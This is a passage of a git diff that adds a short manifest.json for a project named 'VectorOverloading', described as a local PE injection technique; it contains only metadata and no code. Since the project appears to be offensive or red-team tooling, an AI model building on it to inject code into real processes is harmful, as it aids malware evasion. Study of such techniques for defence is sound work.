of file diff --git a/manifest.json b/manifest.json new file mode 100644 index 0000000..fb5c439 --- /dev/null +++ b/manifest.json @@ -0,0 +1,7 @@ + +{ + "manifest_version": 1, + "name": "VectorOverloading", + "version": "1.0", + "description": "Vectored Overloading is a local PE injection technique", +}